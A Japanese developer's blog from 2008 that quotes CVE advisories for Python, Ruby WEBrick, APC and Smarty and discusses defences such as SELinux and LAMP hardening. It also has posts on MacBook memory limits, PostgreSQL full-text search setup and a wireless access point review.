Googleのリサーチでもアダルトサイト以外の一般サイトの方がマルウェアを含む確率が高いとしているのであまり驚くべき数字ではありません。
SQLインジェクションはJavaScirpt/HTMLインジェクションなどと異なり、簡単に防ぐ事が可能な脆弱性です...
# WAFでと言う意味ではなく、プログラムレベルで
# 完全に防げる脆弱性です。
Webサーバは攻撃対象にされる事が多く、昨年秋から数万台のLinux Webサーバがカーネルレベルルートキットに感染しマルウェア配布に利用されていた事例も記憶に新しいです。
有名サイト(ZD Net Asiaなど)に対して検索フォームとSEOと組み合わせた攻撃も記憶に新しいです。
攻撃の自動化もかなり進んでいるので「自分のサイトは大丈夫」と思っていられる状況ではなくなりつつあります。
フィードバックはまだありません...
コメントを残す
私のemailアドレスからのメールに注意してください
私のメールアドレスを利用したSPAMメールが大量に送信されているようです。ここ数日大量のFailureメールを受信しています。内容を見れば一目瞭然だと思いますが、ご注意ください。
# あまり洗練されたプログラムではないようです。MLの購読、購読解除
# アドレスにも送っているようで確認、エラーメールが沢山来ています。
フィードバックはまだありません...
コメントを残す
Python 2.5.3にリモートコード実行の可能性がある脆弱性
最近CVEのコピー&ペーストが続いていますがこのブログに書いていた予想通りの展開なのでまたコピーです。
コアとはいえあまり重要ではない箇所の脆弱性ですが、Python 2.5.3にリモートコード実行の可能性がある脆弱性がレポートされています。
CVE-2008-1679
Overview
Multiple integer overflows in imageop.c in Python before 2.5.3 allow context-dependent attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted images that trigger heap-based buffer overflows. NOTE: this issue is due to an incomplete fix for CVE-2007-4965.
ImpactCVSS Severity (version 2.0):
CVSS v2 Base score: 6.8 (Medium) (AV:N/AC:M/Au:N/C:P/I:P/A:P) (legend)
Impact Subscore: 6.4
Exploitability Subscore: 8.6Access Vector: Network exploitable , Victim must voluntarily interact with attack mechanism
Access Complexity: Medium
Authentication: Not required to exploit
Impact Type: Provides unauthorized access, Allows partial confidentiality, integrity, and availability violation , Allows unauthorized disclosure of information , Allows disruption of service
直したつもりが直っていないのはよくある事です。直したはずだったCVE-2007-4965は以下の通りです。
CVE-2007-4965
Overview
Multiple integer overflows in the imageop module in Python 2.5.1 and earlier allow context-dependent attackers to cause a denial of service (application crash) and possibly obtain sensitive information (memory contents) via crafted arguments to (1) the tovideo method, and unspecified other vectors related to (2) imageop.c, (3) rbgimgmodule.c, and other files, which trigger heap-based buffer overflows.
フィードバックはまだありません...
コメントを残す
Ruby 1.9.0以下のWEBrickにディレクトリ遷移攻撃脆弱性
WEBrick+Windowsでサービスしているところはあまり無いと思いますがファイルを不正に読み取られる可能性があります。
CVE-2008-1891
Overview
Directory traversal vulnerability in WEBrick in Ruby 1.9.0 and earlier, when using NTFS or FAT filesystems, allows remote attackers to read arbitrary CGI files via a trailing (1) + (plus), (2) %2b (encoded plus), (3) . (dot), (4) %2e (encoded dot), or (5) %20 (encoded space) character in the URI, possibly related to the WEBrick::HTTPServlet::FileHandler and WEBrick::HTTPServer.new functionality and the :DocumentRoot option.
ImpactCVSS Severity (version 2.0):
CVSS v2 Base score: 5.0 (Medium) (AV:N/AC:L/Au:N/C:P/I:N/A:N) (legend)
Impact Subscore: 2.9
Exploitability Subscore: 10.0Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Impact Type: Allows unauthorized disclosure of information
フィードバックはまだありません...
コメントを残す
Python 2.5.2以下に任意コード実行の脆弱性
CVE登録されているので私がコピー&ペーストするまでもないですが、予想通りにPythonの脆弱性が出てきました。
CVE-2008-1887
Overview
Python 2.5.2 and earlier allows context-dependent attackers to execute arbitrary code via multiple vectors that cause a negative size value to provided to the PyString_FromStringAndSize function, which allocates less memory than expected when assert() is disabled and triggers a buffer overflow.
ImpactCVSS Severity (version 2.0):
CVSS v2 Base score: 7.5 (High) (AV:N/AC:L/Au:N/C:P/I:P/A:P) (legend)
Impact Subscore: 6.4
Exploitability Subscore: 10.0Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Impact Type: Provides unauthorized access, Allows partial confidentiality, integrity, and availability violation , Allows unauthorized disclosure of information , Allows disruption of service
こういう脆弱性にはSELinuxが役立ちます。
未知の脆弱性に対してはSELinuxなどが無いと守るのは難しいです。
SELinuxの効用はわざわざ書くほど事ではない、と思っていましたがMACにより未知の脆弱性に対する防御がある程度できる事を正しく理解されていない場合もあるようです。
SELlinuxなどを導入していれば任意コード実行が試みられても、auditログに記録されログ監視システムなどで攻撃を直ぐに検出できる可能性が高くなります。
サーバを守る側は多くのプログラムを安全に保つ事が要求されますが、サーバを攻撃する側はたった一つの致命的脆弱性か攻撃パスを見つければ良いだけです。サッカーのPK戦のゴールキーパーのように守る側の方が圧倒的に不利なゲームです。この不利なゲームを効果的に戦うにはSELinuxなどのフェイルセーフな仕組みが必要不可欠です。
ゴールに全面(任意コマンド実行攻撃の目標全て)に蓋をするくらいの効果はありませんが、ゴール面積の7割くらいに障害物を置くイメージに近いと思います。守りやすさは比べ物にならないです。
フィードバックはまだありません...
コメントを残す
スペック上は最大2GBのMacBookに4GBのメモリを搭載
追記:OSからも4GB見えていますが、実際に使えるのは2007年前期のMacBookだと3GBまでです。チップセットの制約(945GMチップセットの制約)でアドレス空間が4GBに制限され、I/Oなどに必要なメモリ領域として上位の1GBが割り当てられているからです。4GB物理メモリが載るならアドレス空間は8GBとか16GBにしてほしかった。
去年前半発売のMacBook
MB063J/A MacBook 2.16GHz Core 2 Duo
を使っています。購入と同時にスペック上最大の2GBにして使っていました。しかし、2GBだとParallelsやVmware Fusionを使うと遅くてぎりぎり我慢できる程度でした。メインノートでOSXからWindows Vistaを使うことも頻繁です。4GBにするためだけに新しいMacBookにしようかと本気で考えていたほどでした。
たまたまBuffaloのページを見ると4GB搭載を諦めていた私のMacBookでも積める、と書かれています。
MB063J/A Core 2 Duo 2160 Mac OS Ⅹ v10.4.9 1024 4096 2 2 0 2007/05/15
# ボールドの部分が最大搭載可能メモリ。Buffaloのサイトを見るとメーカ公表値より
# 大きいので赤字になっています。当然ですがほぼ同じ仕様のMB062J/A,
# MB061J/Aでも4GB搭載可能となっています。
...
チップセット自体は4GBまでのメモリを積める事は知っていたので、買う前から4GB搭載できない調べていました。購入時に調べた際には「実際に2GBのメモリモジュールを2つ搭載しても2GBしか使えない」としたブログ(今はURLは分からないです)があったので諦めていました。
私が購入した時は2GB 200pin SO DIMM 2枚はおよそ15,000円〜20,000円で販売されていたのですが、私は9000円弱のTranscend DDR2 667 4GB kit(JM667QSU-4GK)をイートレンドから買いました。Mac用メモリなどと書いたメモリもありますが、消費者が安心して買えるようにしているだけです。JEDEC規格準拠ならどのメモリでも構わないのでかなり価格が安いTranscend製にしました。
# Transcendは出荷前100%実機テストをしている、
# としています。サーバ用にも購入していますが、
# 今まで問題はありませんでした。
送料を含めて9000円ちょっとで次元の違う快適さです。1世代前のMacBookを持っていて、メモリ不足でお困りの方(ParallelsやVmware Fusionを利用されている方)にはお勧めのアップグレードです。
MacBookのメモリの増設は非常に簡単です。以下のページが参考になります。
http://docs.info.apple.com/article.html?artnum=303721-ja
若干レバーが固めですがゆっくり力を入れて回せばメモリが取り出せます。
7 コメント
http://www.apple.com/jp/support/list.html#macbook
を見ると「MB063J/A」などが無くなってますね。ファームアップデートでB相当になったので記載されなくなった、と理解してよいのかな?
試しに今回購入したTranscendのサイトを検索してみると、ホームページ上は2GBまでとAppleのスペックと同じになっていした。
私も同じような理由で、同じ型番のMacBookに4GB RAMを実装しています。
「このMacについて」や「アクティビティモニタ」の表示では4GBになっていますが、残念ながら実際のところ利用できるのは3GB分のようです。「アクティビティモニタ」の「空き」「固定中」「現在使用中」「現在非使用中」を合計して確認しました。
確かチップセットの制限だったと思います。「macbook 3gb 4gb」などと検索すると、同じような内容が出てきますので、確認してみてください。
PowerMac G5 Dualも持っているのですが、OSも同じ10.5でシステムモニタで見てもメモリ容量の見え方も同じ(パイグラフのメモリ容量が同じ)だったので4GB使えていると思っていました。時間がある時に調べてみます。
MenuMeterをインストールしてみると1GB分見えてないようですね。残念。メモリメーカも表示に騙されていた、ということなのでしょう。PCだとBIOS設定で4GB全部認識できるようになる物もあるのですけどね。積んでいるチップセット的には4GBのメモリを搭載するのは問題ないはず(後期型ってチップセットが違うのかな?)ですが、EFI等の制限(固定的にI/O等を上位1GBに割り当てているため等)で変更出来ないのかもしれないですね。
# 3.5GBくらい利用できればもったいない感も
# 和らぐのですけどね。
メモリが安くなり、+1GBでもかなり違うので特に仮想環境を使っている方にはお勧めであることには変わり在りません。
しかし、利用可能なメモリ容量が違うならAppleはサイトから型番を削除すべきではないですね。
ところで、検索して気になったのですが3.5GB,3GBとか2GBとかまでしかメモリが利用できないのは32bit OSの制限と勘違いされている記述が多かったです。通常はチップセットやファームウェア、OS仕様の制限でメモリが使えなくなっています。IntelのCPUの場合、32bitモードでも物理メモリ拡張(PAE)を利用すれば
チップセットとOSがサポートするメモリ容量は以下のページが参考になります。
http://pc.watch.impress.co.jp/docs/2007/1127/hot517.htm
Appleのサイトを見てもMacBookのチップセットは分かりませんが、やはり前期型は945, 後期はG31って事なのかも知れないですね。これなら話は分かります。
http://compare.intel.com/pcc/showchart.aspx?mmID=28117,22210&familyID=7&culture=en-US
同じサポートメモリ量でも945はアドレス領域が本当に4GB、965はインストールできるメモリは8GBでもアドレス自体は64GB(だったかな)まで拡張されている8GBのメモリを載せてもI/O領域として物理メモリが配置されているアドレスとは別の領域を割り当てられます。
と言うことで前期モデルで全てのメモリを利用するのは無理です。
これはWindows PCにも当てはまりますが、32bit版XP/Vistaなら3GBちょっとまでしかOSで使えないのであまり関係ないですね。
Windows XPで4GBを超えるメモリを活用するRAMディスクソフトが話題に
http://slashdot.jp/hardware/article.pl?sid=08/05/12/0840229
起動オプションにPAEって使えるんですね。どうせならOSでメモリが使えるようになっている方がよいと思うのですが。
コメントを残す
Apple Software Updateが「新しいアプリケーション」の「アップデート」方法を修正
http://www.macrumors.com/2008/04/18/apple-modifies-software-update-for-windows/
に新しいApple Software Updateのスクリーンショットが載っています。インストールもしていないのに、脆弱性が多く発見されている「Safari」(Webブラウザ)を勝手にインストールしてしまう、と非常に評判が悪かったのですがやっと修正したようです。
新しいApple Software Updateでは、インストール済みのアプリケーションのアップデートと新しいアプリケーションが明確に区別できるようになっている事が分かります。
ところで、QuickTimeも脆弱性の塊、と言えるソフトウェアです。全く使っていないユーザも多いと思われます。早くiTunesとQuickTimeの抱き合わせパッケージングも止めるべきだと思いますが、こちらは修正しない可能性が高いです。Safari強制インストールも問題ですが、QuickTimeの抱き合わせ問題も解消してほしいものです。
2 コメント
独立してインストールしない形にすれば形式上は見えないようにできるかも知れませんが、そのときはiTunesに問題が引き継がれるだけでしょう。
なのでWindowsにQuickTimeをインストールしないためには、Macを買うのがいいと思います。
> WindowsにQuickTimeをインストールしないためには、Macを買うのがいいと思います。
これはウケました。
iTunesはMacで使った方が自然な感じがすると思うのでMacを買うオプションもありかも知れません。
コメントを残す
GoogleのPython採用と脆弱性情報の関係
GoogleがカスタムアプリケーションのホスティングにPythonを採用しました。これにより多くのセキュリティ研究者の研究対象がPythonに向けられ、PHPで報告されていたような問題がセキュリティ脆弱性して多数レポートされるようになるのではないか、と予想していました。
さっそくセキュリティ脆弱性が多く発見されるライブラリの一つであるzlibライブラリにお馴染みの脆弱性が報告されています。
CVE-2008-1721
Integer signedness error in the zlib extension module in Python 2.5.2 and earlier allows remote attackers to execute arbitrary code via a negative signed integer, which triggers insufficient memory allocation and a buffer overflow.
ImpactCVSS Severity (version 2.0):
CVSS v2 Base score: 7.5 (High) (AV:N/AC:L/Au:N/C:P/I:P/A:P) (legend)
Impact Subscore: 6.4
Exploitability Subscore: 10.0
負の整数が指定された場合が考慮されていないので攻略コードを埋め込まれた圧縮ファイルで任意コードが実行できるようです。よくあるタイプの脆弱性です。
しばらくは色々レポートされる事だと思います。
追記:
ところでこの脆弱性は未パッチです。
http://www.python.org/download/
の最新リリースは、現時点(4/14)でも、2/22日リリースされた2.5.2になっています。このページにはパッチへのリンクもありましたが、この脆弱性とは全く関係ないページが表示されていました。コメントにも書きましたが開発者がセキュリティに大きな注意を払っていない事を前提に対策を考える方が良いです。これは何もPythonやPHPに限った事ではありません。
参考
http://www.atmarkit.co.jp/news/200804/08/appengine.html
関連:
http://blog.ohgaki.net/php-1
http://blog.ohgaki.net/lamp
http://blog.ohgaki.net/lamp-p-php-perl-python-ruby
http://blog.ohgaki.net/lamp-4
追記:
予想通りの展開です。任意コード実行の脆弱性のCVEが公開されています。
http://blog.ohgaki.net/python-2-5-2
http://blog.ohgaki.net/python-2-5-3
4 コメント
Python のキュリティ脆弱性レポートが増えなかったりしたら、それこそ PHP 立場ないね。
- pythonにはPHPのセキュリティ問題として多数レポートされている、ファイルセーフ機能が無いこと
などから幾つか出てくると思いますが、どんどん脆弱性が出てくる、といった状況は予想していません。その辺りは誤解の無い様に。
Googleのサービスでは、さすがに危険すぎるのでファイルやメモリにアクセスできる機能は全て無効になっており、突きどころも少なくなっています。これも脆弱性のレポート数に影響するだろうと思います。
このエントリの脆弱性のように基本の「き」ができてないような脆弱性がある、ということは他にいろいろある可能性が高い、と推測するには十分だと思います。
# 実際、画像ライブラリにも任意コード実行が可能な脆弱性が最近
# 見つかっています。あまり使われないライブラリだそうですが
# 言語コアとして添付されている物だったと思います。
研究対象としてはGoogleのサービスを攻撃できる脆弱性が最も面白いとは思いますが、例によって内部仕様は公開されていません。これが理由であまり研究対象にならない可能性もあります。どうなるか注目です。
追記:日本語が変だったので編集しました。
例えば、記憶に新しいところでは、PHP 5.2からリクエストの処理がRFC準拠ではなくなり、Perl/Python/Javaと同じ仕様になった部分があります。(ヌル文字の取り扱い)これにより、mod_securityによるセキュリティ対策が簡単にバイパスできるようになってしまいました。
Perl/Python/Javaアプリは最初からリスクがあったのですが、以前はより安全であったのにPHP 5.2からリスクを追加するような仕様変更を行うのは基本を守っていない、と考えられても仕方ないです。
# 当然ですが、このmod_securityの問題
#(本来は言語/アプリの問題なのですが)
# は既に対策済みです。
要するにみんなセキュリティ対策が万全ではないのです。開発者はあまりセキュリティの事は考えてない、と思っておく方が安全です。
これも誤解を招きそうな書き方ですね。
「セキュリティの事を考えてない」という事はないとは思いますが、「セキュリティに対する影響が考慮不足」だったり、「分かってはいるけどリソースが不足」であったり、「知ってはいたが単純ミス」があったりする事を織り込んで対処する方が安全であるし、そうあるべきだと考えています。
具体的には「脆弱性がある事を前提にアプリケーション/システムを構築/運用する」する事が大切だ、ということです。クロスサイトスクリプティング(スクリプトインジェクション)限定ですが、ちょうど技術評論社のサイトにスクリプトインジェクションに脆弱性であった場合でも被害を最小限するTIPS等を記事として連載中です。
http://gihyo.jp/dev/serial/01/php-security
コメントを残す
スクリプトインジェクション対策の特集 - gihyo.jp
技術評論社でブログっぽい記事を書かせて頂いています。4月3日からスクリプトインジェクション対策で注意すべき項目が掲載されます。一般的なスクリプトインジェクション対策「バリデーションしエスケープする」ではなく、万が一スクリプトインジェクションに脆弱であった場合でも被害を最小限に留める対策、見落とされがちな対策を中心に解説しています。
# 一度に書いた記事なのでどう分割されるか私も分かりません。
# 物によっては2回に分割するかもしれないので20弱くらい
# だと思います。
http://gihyo.jp/dev/serial/01/php-security
から最新の一覧を参照できます。
ご意見やご希望などございましたらこのブログから送って頂いても、メールで送って頂いても歓迎致します。ご興味がある方はご覧ください。
...
現在(4/9)時点では
- 【スクリプトインジェクション対策05】文字エンコーディングは必ずHTTPヘッダで指定する
- 【スクリプトインジェクション対策04】不正なセッションIDの利用がないか記録する
- 【スクリプトインジェクション対策03】セッションIDが利用できる範囲を制限する
- 【スクリプトインジェクション対策02】セッションIDを頻繁に変更する
- 【スクリプトインジェクション対策01】セッションクッキーを利用する
の5つ目の対策まで公開されています。既に公開されている記事もこれから公開される記事も当たり前の事ばかり書いてあります。しかし、既に公開済みの5つのアドバイスを全て守っているサイトやアプリケーションを見つけるのはかなり難しいです。例えば、ほとんどのサイトやアプリケーションはセッションIDを十分な頻度で更新していません。これから他のアドバイスも掲載されますが全て実践しているサイトは無いと思います。様々な制約もあるので全て実践するのは難しいですが、こういった事に気をつけなければならない事を理解していただければと思っています。
今自分で見てみると最初の「セッションクッキーを利用する」で携帯の勝手サイトを作る場合に端末IDをセッションIDの代わりに利用できるが注意しないと簡単にセッションハイジャックされる、と書いています。しかし、どう注意すれば良いか書いてないですね。リクエストの送信元のIPアドレスが対応するキャリアからのアクセスどうかチェックすれば良いです。このチェックを怠ると簡単にセッションハイジャックができてしまうので注意が必要です。
「○○の対策が分かりづらい」「○○の対策は不適切では」などのご意見をお待ちしています。
# でも今は非常に忙しいので速いレスポンスは期待しないでください...
フィードバックはまだありません...
コメントを残す
PostgreSQL 8.3の全文検索機能(TSearch2)を日本語で利用する
PostgreSQL 8.3.0から、ユーザから提供されている追加機能(contrib)として利用できた全文検索機能(TSearch2)が本体に取り込まれました。
本体に取り込まれたため、PostgreSQL 8.3.0以降ではソースから構築する場合に
./configure
make
make install
と実行するだけで全文検索機能が利用できるようになりました。
...
TSearch2は単語単位で全文検索できます。しかし、日本語のように単語に区切りがない場合、単語に分解(形態素解析)してからインデックス化する必要があります。
# N-gramは使えません。
残念ながら日本語をそのまま扱える機能はPostgreSQL 8.3では実装されていません.しかし、TSearch2(textsearch)を日本語で利用するための追加機能がpgFoundryのプロジェクトにあります。
textsearch-ja ホームページ
http://textsearch-ja.projects.postgresql.org/index-ja.html
インストールは非常に簡単です。textsearch-jaのアーカイブに含まれているREADME.textsearch-jaの通りに実行するだけで利用できます。
README.textsearch-jaには明示的に解説してありませんが、PostgreSQL 8.3.1等のソースを展開した中にあるcontribディレクトリにtextsearch-jaディレクトリを置いて
make
sudo make install
pgsql -f textsearsh_ja.sql (textsearch_ja をインストールするDB名)
とするだけです。事前にPostgreSQL 8.3をインストールしておく必要があります。パッケージの場合、PostgreSQLのソースツリーが無いのでソースからインストールした方がインストールは簡単です。
詳しい機能や使い方はマニュアルを参照してください。
http://www.postgresql.jp/document/pg831doc/html/textsearch.html
デフォルトで全文検索が利用できるようになったのは良い事ですが、@@(全文検索用の演算子)がTSearch2で利用されているためLudia(SennaのPostgreSQL用のバインディング)の全文検索演算子が@@から%%に変更されるといった影響も出ています。
3月末にLudia 1.5.0がリリースされPostgreSQL 8.3.0に対応しています。私は開発者の方のブログを読んで@@から%%になった事を知っていましたので問題なかったですが、READMEファイルの解説が@@のままになっています。初めてLudiaを使う方も、今までLudiaを使っていた方も注意が必要です。
# postgresql-develパッケージ等に含まれるpg_config
# を利用してビルド&インストールできるパッチをMLに
# 投げると喜ばれるかも。パッチはこんな感じになると
# 思います。(注意:未テストです)
--- Makefile.orig 2008-04-06 15:11:32.000000000 +0900
+++ Makefile 2008-04-06 15:13:37.000000000 +0900
@@ -4,7 +4,14 @@
DATA = uninstall_textsearch_ja.sql
SHLIB_LINK = -lmecab
+ifdef USE_PGXS
+PG_CONFIG = pg_config
+PGXS := $(shell $(PG_CONFIG) --pgxs)
+include $(PGXS)
+else
subdir = contrib/textsearch_ja
top_builddir = ../..
include $(top_builddir)/src/Makefile.global
include $(top_srcdir)/contrib/contrib-global.mk
+endif
+
1 コメント
コメントを残す
Smarty 2.6.19未満のregex_replaceは脆弱と言うよりは...
Smarty 2.6.19未満のregex_replaceは脆弱だったと言うよりは、今でも脆弱と言った方が良いと思います。
Smarty 2.6.19は2008/2/11にリリースされました。ちょっと古い話ですが、Smarty 2.6.19より前のバージョンのregex_replaceは脆弱、とアナウンスされています。
...
subversionを見てみると
if (($pos = strpos($search,"\0")) !== false)
$search = substr($search,0,$pos);
が追加されています。
ヌルバイトアタックに脆弱、と言う話です。
しかし、それ以前にマルチバイト環境では2.6.19でも話になりません。幾つかのプロジェクトでSmartyを取り扱った事がありますが、当然マルチバイト対応して使っていました。パッチを送ってもmbstringはデフォルトモジュールではないからとか、色々面倒なのでしませんでした。日本語環境でSmartyを使われている方は、この辺りは使う前に確認し、修正して使っていると思います。脆弱性をレポートすべき?
perlの正規表現を使っているアプリの安全性は大丈夫なのか、といつも心配になってしまいます。PHPに限った事ではなく、PCREでなく、本家perl正規表現を含めて安全でない物が多いと思います。
PerlのModifierオプション
http://search.cpan.org/dist/perl/pod/perlre.pod#Modifiers
PCREのModifierオプション
http://jp.php.net/manual/en/reference.pcre.pattern.modifiers.php
PCREはマルチバイト文字エンコーディングはUTF-8しかサポートせず、明示的に指定しなければなりません。sとかm、u、Dオプション等、セキュリティに関連するオプションが無かったり適切でないアプリケーションは数えきれません。
フィードバックはまだありません...
コメントを残す
文字エンコーディングを完全にバリデーションしても...
なるほど、と思いました。
http://d.hatena.ne.jp/hoshikuzu/20080328
文字エンコーディングを規格に則り、完全にバリデーションしてもダメな時がある...
頭が痛い問題です。
フィードバックはまだありません...
コメントを残す
APCにStack Overflow脆弱性
件名の通り、APCのStack Overflow脆弱性が公開されています。
http://sla.ckers.org/forum/read.php?3,21615,21615#msg-21615
このポストに書いてある通り、PHP4ではインクルード攻撃に脆弱なアプリならallow_url_fopenをoffにしていても効果はありません。PHP4+APCを使っている方は今すぐAPCをCVSバージョンにバージョンアップするか、APCをロードしない方が良いでしょう。
MomongaLinux等、パッケージをビルドする際にstack smashing attackから防御するstack protectorオプションを使ってビルドしているバイナリであればリンク先の攻撃方法では攻撃できません。しかし、インクルード攻撃に脆弱であれば、他の脆弱性を利用してカナリア値を盗む事も可能なので安全とは言えません。いずれにせよAPCを利用している場合はバージョンアップする方が良いでしょう。
追記:
CVSを見てみました。
http://cvs.php.net/viewvc.cgi/pecl/apc/apc.c?r1=3.20&r2=3.21
fileinfoがスタック変数、strcpyでオーバーフローしてます... 教科書通りの解りやすい脆弱性です...
フィードバックはまだありません...
コメントを残す
.Net用OCaml - F#の入門書 - Expert F#
OCamlはプログラミングコンテストで優勝するチームや開発者御用達の言語であることは以前から知っていましたが、個人的に利用しようと思ったありませんでした。しかし、最近関数型言語の人気が非常に高まってきています。関数型言語の簡潔なコードや副作用の少ないコードの生産性が認められてきたからだと思います。
OCamlを勉強しようかと思いましたが、AmazonでちょうどF#の本(英語版)が昨年末出版されている事を見つけて購入しました。
...
609ページ、全19章、ハードカバーの本で安い本ではありませんが、購入する価値は十分にあると思います。
F#はMLの方言であるOCamlをベースとしています。OCamelは最近流行りの型が無いスクリプト系の言語と異なり、C/C++/Javaの様に型を持つコンパイラ型の言語です。F#はOCamlベースなので同じように型を持ち、コンパイラ型の言語になっています。
コンパイラ型言語であるため、実行時ではなくコンパイル時に静的な分析を行えるため、バグの混入が少なくなったり、コンパイル時に多くの最適化を行う事が可能になっています。さらに、F#はCLI実行環境で実行されるため実行時にさらに最適化(CLI仮想実行環境で実行時にダイナミックに最適化)も行われます。
C/C++/Javaの様に型を持つため、F#は.Netフレームワークと高い親和性も維持しています。データ型を持たない言語からデータ型を持つライブラリを利用するには、専用のインターフェース(API)を記述しないと使い物にならない場合がほとんどです。
F#は関数型とオブジェクト指向型のプログラミングパラダイムをサポートしたマルチパラダイム言語となっています。マルチパラダイム言語の有用性は「コンピュータプログラミングの概念・技法・モデル」等で解説されています。
F#はマイクロソフトがマルチコア時代を見据えて開発した言語だと思います。13章「Reacttive, Asynchronous, and Concurrent Programming」では非同期実行の仕組みで簡単かつ安全にマルチスレッドプログラミングが行える事が解説されています。非同期実行と従来のスレッドインターフェースを比べると、メモリ管理が必要なC/C++とメモリ管理を省略できるC#と同じような違いがあります。メモリ管理は複雑で多くのバグの原因となっています。スレッド管理も同じです。F#では非同期実行によってスレッド利用の敷居を大幅に下げています。
F#はCLI上で実行されるためC#と同じく、WindowsのみでなくLinuxやMac OSX上でも動作します。私はmono-coreパッケージをインストールしたMomongaLinux 4でF#のzipパッケージをダウンロードしてインストールスクリプトを実行してインストールした環境で実行しています。インストールはスクリプトを実行するだけ終わります。
インストール完了後は
mono bin/fsi.exe
を実行するだけインタラクティブモードのF#が利用できます。Windows環境でも同じように
fsi.exe
として実行できます。コンパイラを実行する場合はfsc.exeを実行します。
F#はJavaに対するScala(JVM上で実行できる)のような位置づけと言えると思います。Javaプログラマが次に習得すべき言語がScalaとも言われていますが、.Netプログラマ(C#プログラマ)が次に習得すべき言語はF#だと思います。
この本を読みこなすには他の言語でのプログラミング経験のみでなく、関数型言語、オブジェクト指向、デザインパターンの知識等が必要です。さらに英語版しかないようなのでハードルの高い本と言えます。日本でよく売れているお手軽言語入門書のつもりで購入する本ではありません。しかし、直ぐに理解できなくても価値ある一冊です。
フィードバックはまだありません...
コメントを残す
「例えば、PHPを避ける」ってなぁにその曖昧な書き方?
誤解を招く記事 - LAMPセキュリティを強化する4つの方法で、
実行できる最も重要な対策は、PHPを使わないことです。
と、理解できない対策を勧めています。セキュリティの事を解っていない素人が書いた事は、記事の内容と趣旨から明らかです。
しかし、IPAにも同じような事が書いてあったのですね。「例えば、PHPを避ける」ってなぁにその曖昧な書き方?で書かれています。去年から掲載されていたと思います。
IIS+ASPのアプリにダメダメなWebアプリが多いのも事実ですが、言語を問わずダメなプログラムだらけです。LAMPのPをPHPからPerl/Python/Rubyに替えるだけではセキュリティは向上しない証拠では最近発見されたPythonベースのCMS、Ploneの脆弱性を紹介していますが、Java, Perlも同じです。
特に「LAMPセキュリティを強化する4つの方法」にPHPからPerl等に替えれば安全になるように勧めていますが、著者はPerlで作った恐ろしく穴だらけのCGIの数々を見たこともないのでしょう。探さなくてもそこら中にあるのですが.... フレームワークの利用は安全性向上に役立ちますが、フレームワークを使うだけでは安全になりません。JSFやRailsで作ったから、といって自動的に安全なWebアプリは作れません。
セキュリティを向上させるために他の言語に替えて再構築するリソースがあるなら、使っているプログラム(OS,Web,言語,フレームワーク,アプリ)きちんとバージョンアップをした上で、開発者が正しいセキュリティ知識を習得できるよう努力すべきです。
企業ならソースコードレベルの監査とコンサルティングを依頼した方が、言語を替えるよりよっぽど効果的で、コストも少なく効率的です。言語を替えても設計・ソースコードレベルでのセキュリティ監査はセキュリティ維持には欠かせません。
フィードバックはまだありません...
コメントを残す
BUFFALO Wi-Fi Gamers 無線LANアクセスポイント WCA-G
参考:自ら顧客離れを促進するバッファロー、不必要なアプリケーション利用制限とQ&Aの嘘
最近のCTUやモデムにはルータ機能が付いているので、無線LANを使う場合にルータ機能付きの親機(無線LANアクセスポイント)を買う必要はありません。ひかり電話を契約したのを機会に無線LANのアクセスポイントを交換しました。
前に使っていたのはNEC WarpStarで今回新しく購入したのはBaffalo BUFFALO Wi-Fi Gamers 無線LANアクセスポイント WCA-G です。
この無線LANアクセスポイントの箱やメーカの製品ページを見るとゲーム機専用のような印象を受けますが、ごく普通のルータ機能無し無線LANアクセスポイントです。この無線LANアクセスポイントで非常に気に入ったのは2行メッセージを表示できるLCDパネルが付いており、このパネルと周辺にボタン4つで基本的な操作や設定が全て行えることです。
...
- 無線LANチャンネルの変更
- アクセスポイントのIPアドレス確認
- 接続中のクライアント
- ファームウェアのバージョン
- ファームウェアのアップグレード
等が本体のLCDパネルとボタンのみで確認・設定できます。

DHCP機能付きのルータとの使用が想定されており、IPアドレスはDHCPサーバから取得します。一旦IPアドレスが設定されれば、PCからWeb UIも利用できます。Web UIからは固定IPアドレスの設定、ESSIDやWPAキーなど無線LANオプション、より詳細な無線LANオプション等の通常の無線LANアクセスポイントが持つWeb UIと設定機能を持っています。
最近では当たり前になりましたが、自動的に無線LANの設定を行うAOSSとWPSに対応しています。WPSを利用すると、ESSIDやWPAキーを知らなくてもクライアント側でWPSによる設定を開始して、WiFi Gamersの上のAOSSボタンを押すだけで無線LANアクセスポイントに接続できるようになります。デフォルトで設定されるWPAキーは非常に長いランダム文字列なのでクラックされる事はまずありません。
。管理ソフトさえインストールすれば、普通の無線LAN内蔵PCなどから面倒な設定画面で設定無しで安全にアクセスポイントに接続できるようになっています。WPSはMacBookのVistaで試しましたが問題なく設定できました。
一緒に購入したUSB無線LANアクセスポイントはAOSS対応なので、こちらを使うとAOSSで無線LANを設定できます。こちらは普通のPC(Windows Vista)からAOSSで設定しました。当然ですが何の問題なく設定/接続できました。
当然ですがPS3の無線LANもまったく問題なく簡単に接続できました。PSP等は持っていないので試していませんが、簡単に接続できるはずです。
Wi-Fi GamersはWPA2、802.11nに対応していないのが残念ですが、11nに対応していないので価格も安くなっています。11gで十分な方なら無線LANアクセスポイントとしてお勧めできると思います。
フィードバックはまだありません...
コメントを残す
LAMPセキュリティを向上させる方法
LAMPはLinux, Apache, MySQLとPHPまたはPerl, Pythonを利用したWebシステムの総称として利用されている用語です。
特にLinux/Apache/MySQL/PHPはよく見かけるシステム構成です。ホスティングサービスを提供する会社でこの構成をサポートしていない会社を探すのが難しいくらいではないかと思います。広く使われていますが、「十分に安全な状態」と言える状況で運用されているケースはほとんどありません。
関連エントリ
LAMPのPをPHPからPerl/Python/Rubyに替えるだけではセキュリティは向上しない証拠
誤解を招く記事 - LAMPセキュリティを強化する4つの方法
...
脆弱性情報を収集する
全てのソフトウェアにセキュリティ上の問題が含まれている、と考えて間違いありません。利用しているソフトウェアの脆弱性情報を収集し、脆弱性がシステムに影響するか、影響する場合どの程度のリスクが予測できるか評価する事が重要です。
例えば、コミュニティ版のMySQLは有償版で提供されているセキュリティパッチが含まれていません。コミュニティ版を利用しているなら、システムに影響があるかどうか評価しなければなりません。
Apacheにも脆弱性が発見されています。明らかに脆弱性があるバージョンを利用しているサイトもありますが、脆弱性が発見されたモジュールをロードしていないのであれば、多少古いApacheを使っていても安全でしょう。
LAMPの脆弱性情報も重要ですが、LAMP上で動作しているアプリケーションの脆弱性情報の収集も書かせません。利用しているアプリケーション全ての脆弱性情報に注意する必要があります。
バージョンアップを行う
脆弱性が無いバージョンにバージョンアップするのはセキュリティ対策の基本中の基本です。
